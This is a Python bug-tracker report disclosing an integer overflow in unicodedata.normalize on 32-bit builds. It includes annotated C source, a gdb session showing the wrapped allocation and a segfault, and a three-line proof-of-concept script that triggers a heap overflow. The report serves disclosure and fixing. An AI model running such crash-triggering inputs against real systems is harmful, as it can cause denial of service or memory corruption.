[issue23367] integer overflow in unicodedata.normalize

[paul]

New submission from paul:

# Bug
# ---
# 
# static PyObject*
# unicodedata_normalize(PyObject *self, PyObject *args)
# {
#     ...
#     if (strcmp(form, "NFKC") == 0) {
#         if (is_normalized(self, input, 1, 1)) {
#             Py_INCREF(input);
#             return input;
#         }
#         return nfc_nfkc(self, input, 1);
# 
# We need to pass the is_normalized() check (repeated \xa0 char takes care of 
# that). nfc_nfkc calls:
# 
# static PyObject*
# nfd_nfkd(PyObject *self, PyObject *input, int k)
# {
#     ...
#     Py_ssize_t space, isize;
#     ...
#     isize = PyUnicode_GET_LENGTH(input);
#     /* Overallocate at most 10 characters. */
#     space = (isize > 10 ? 10 : isize) + isize;
#     osize = space;
# 1   output = PyMem_Malloc(space * sizeof(Py_UCS4));
# 
# 1. if isize=2^30, then space=2^30+10, so space*sizeof(Py_UCS4)=(2^30+10)*4 ==
#    40 (modulo 2^32), so PyMem_Malloc allocates buffer too small to hold the
#    result.
# 
# Crash
# -----
# 
# nfd_nfkd (self=<module at remote 0x4056e574>, input='...', k=1) at /home/p/Python-3.4.1/Modules/unicodedata.c:552
# 552         stackptr = 0;
# (gdb) n
# 553         isize = PyUnicode_GET_LENGTH(input);
# (gdb) n
# 555         space = (isize > 10 ? 10 : isize) + isize;
# (gdb) n
# 556         osize = space;
# (gdb) n
# 557         output = PyMem_Malloc(space * sizeof(Py_UCS4));
# (gdb) print space
# $9 = 1073741834
# (gdb) print space*4
# $10 = 40
# (gdb) c
# Continuing.
#  
# Program received signal SIGSEGV, Segmentation fault.
# 0x40579cbb in nfd_nfkd (self=<module at remote 0x4056e574>, input='', k=1) at /home/p/Python-3.4.1/Modules/unicodedata.c:614
# 614                     output[o++] = code;
# 
# OS info
# -------
# 
# % ./python -V
# Python 3.4.1
#  
# % uname -a
# Linux ubuntu 3.8.0-29-generic #42~precise1-Ubuntu SMP Wed Aug 14 15:31:16 UTC 2013 i686 i686 i386 GNU/Linux
 
 
import unicodedata as ud
s="\xa0"*(2**30)
ud.normalize("NFKC", s)

----------
files: poc_unidata_normalize.py
messages: 235175
nosy: pkt
priority: normal
severity: normal
status: open
title: integer overflow in unicodedata.normalize
type: crash
versions: Python 3.4
Added file: http://bugs.python.org/file37966/poc_unidata_normalize.py

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Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23367>
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